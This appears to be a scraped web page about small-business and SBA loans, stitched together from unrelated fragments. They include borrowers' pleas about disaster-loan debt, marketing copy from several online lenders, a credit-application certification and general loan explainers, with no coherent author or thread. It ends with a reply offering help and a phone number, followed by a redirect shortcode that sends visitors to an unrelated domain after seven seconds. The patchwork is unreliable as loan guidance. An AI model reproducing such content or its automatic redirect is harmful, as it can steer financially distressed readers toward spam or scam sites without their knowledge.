Because of unemployment, I defaulted on a SBA disaster loan for the contents of my home. The collection company has charged an outrageous administration fee. What can I do to reduce the administrative fee. Once I started working, I’ve been paying my loan every month for the past eight months, but they will not reduce the fee. Help?
Richard and Jo-Anne The Parsonage Inn; Cape Cod, ME After 30 years in the airline industry, traveling the world and raising five children, Richard and Jo-Anne wanted to tackle a new adventure: business ownership. Guidant helped the couple buy an existing business so they could enjoy being their own boss for once.
The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.
Ongoing maintenance fees for an SBA line of credit through the CAPLines program will be higher than ongoing fees with an SBA 7(a) loan. This is because the lines of credit are extended based on short-term assets, like invoices and contract, which require continuous verification.
2. Six months into the business I discovered all financials were fraudulent. Filed suit on previous owner and got $100,000 note discharge. Notified SBA and asked for reduction and got interest only payment for a period.
In order to get a HEL or HELOC, you’ll need to have 20%+ equity in your home, but the rule of thumb is between 30-40% minimum because the loans typically max out at 80% loan to value (LTV). A HEL gives you a lump sum, which acts like a second mortgage, and a HELOC works like a credit card or business line of credit. Let’s take a look at who each option might be right for.
The growth of alternative lending gives established companies a wide range of business loan options. But entrepreneurs might find it hard to get a small-business startup loan. After all, who wants to lend thousands of dollars to a small business that doesn’t even have revenue yet?
The SBA requires that 504 recipient businesses must create or retain at least one job for every $65,000 provided by the SBA loan, though for small manufacturers, the number is lowered to one job per $100,000.
Choosing isn’t as hard as it sounds, though. When you shop for your loan with Lendio, one of our personal funding managers will partner with you every step of the way. He or she will talk to you about all your loan options, help you calculate how much financing you need, walk you through collecting all the necessary documents and forms, and tell you everything’s going to be okay. We don’t hug, though. Hugs are where we draw the line.
We make money when you get the funding you need. Some of the loan providers on our site pay us a referral fee when customers get approved for a loan. We always try to find the best option for you, even if we don’t have a paying relationship with a lender. We also turn down offers from lenders that we feel take advantage of small-business owners. Read more about how we make money.
While the lender will run a credit report on you and your business, it is a good idea to have already checked both your personal and business credit profile ahead of time, to ensure its accuracy and to be prepared to answer any questions.
Who it’s good for: Businesses that need funds quickly (and can pay it back quickly) are the best fit for OnDeck. Less-established businesses will want to take a look, but they should keep in mind that the APR might be fairly hefty.
I got a SBA disaster loan after hurricane Rita. I lost everything that I own. I just heard that the SBA forgave loans that were made to the state. What about me? is there any way that I can get my loan forgiven or reduced without ruining my credit? I lost everything that I own and ended up with a 30 year bill. Not fair. Does anyone know if it is possible for me to get my loan forgiven?
I hereby certify: (1) the information provided is true and correct, (2) you are hereby authorized to investigate all bank, credit, and trade references, and said references are hereby authorized to release any requested information to you or your nominee, (3) such authorization shall extend to obtaining personal credit profile in considering this application and subsequently for the purposes of update, renewal or extension of such credit or additional credit and for reviewing or collecting the resulting account, (4) this information be transmitted by us to you and by you to underwriter(s) for the purpose of granting me credit, either electronically or manually, and that by submitting this application, I take full responsibility for transmission thereof, (5) I am over 18 years of age, (6) I acknowledge my rights under the Fair Credit Reporting Act, (7) I consent to receive direct mail, faxes, text-messages, and e-mails sent by National Funding and its affiliates for the purposes of transmitting account updates, requests for information and notices, and (8) this request is for business and not for consumer purposes.
Young, ambitious and willing to make a bet on your future earnings? Consider how Kjerstin Erickson, Saul Garlick and Jon Gosier are trying to raise money. Through an online marketplace called the Thrust Fund, the three have offered up a percentage of their future lifetime earnings in exchange for upfront, undesignated venture funding. Erickson is willing to swap 6 percent of her future lifetime earnings for $600,000. The other two entrepreneurs are each offering 3 percent of future earnings for $300,000. Beware: the legality and enforceability of these “personal investment contracts” have yet to be established.
Keep in mind that while these loans may be for a business purpose, you’re the one that is borrowing and on the hook for the loan. If you don’t pay the loan back, your credit rating will be affected and you could lose personal assets. The interest rates are similar to credit cards, but you’ll be receiving a lump sum payment that you’ll be paying interest on instead of a credit line.
An unsecured business loan is a loan that does not require the borrower to pledge assets of the company to borrow funds. However, in most cases an unsecured loan requires a personal guarantee of repayment and will generally have a higher interest rate and fees.
Those with poor credit in a business-to-business environment that have receivables can use them as collateral. Alternative lenders, such as so-called Internet lenders, will charge higher interest rates, but generally have more relaxed standards.
SBA Business Physical Disaster Loans (BPDLs): Long-term, low-rate loans designed to help businesses that suffered physical losses and damages due to a declared disaster replace or repair that property not covered by insurance. Do not need to be a for-profit business.
For example, it can put more weight on your business credit profile or more on your personal. It’s also a very “smart” business credit scoring model because it will automatically go from one business credit bureau to another, in whatever order of priority the lender prefers, until it’s able to generate a score.
OnDeck can lend up to $500,000 in as little as a day with minimal paperwork. However, you’ll need to be willing to accept a higher interest rate and shorter term (up to two years) in exchange for convenience and speed. You must have been in business for at least 1 year with at least $100,000 in gross annual revenue.
We want to ensure that our valued applicants fully understand why we have the requirements that we do. For instance, we require that businesses be operational for at least 3 months before we will provide them with a loan. This is to ensure you have gotten your business off the ground, have a use for the capital, and can responsibly handle the payments.
If you want a large chunk of change from your lender, don’t be secretive. Tell your lender exactly why you need the money. Present your plan for the future, and tell the lender how its funding figures into your plan.
Venture Capitalists are generally a group of investors that make up a company or investment firm. VCs give you money debt-free in exchange for a percentage of equity in the business, but they are also likely to take a more hands-on role in your business. A well prepared business plan with financial projections is a must when pitching to a venture capital firm.
Though I focus on online lenders in my analysis above, you should evaluate all your options before committing to a lender. Here are the places you should look when trying to get a small business loan:
In other words, an SBA Microloan is by no means a giveaway. The intermediary lender has a little more flexibility in determining who seems creditworthy that larger, rigid lending institutions but they still need to feel extremely confident of your ability to repay the loan.
This situation is more complicated and I need additional information to propose a plan. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected]. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]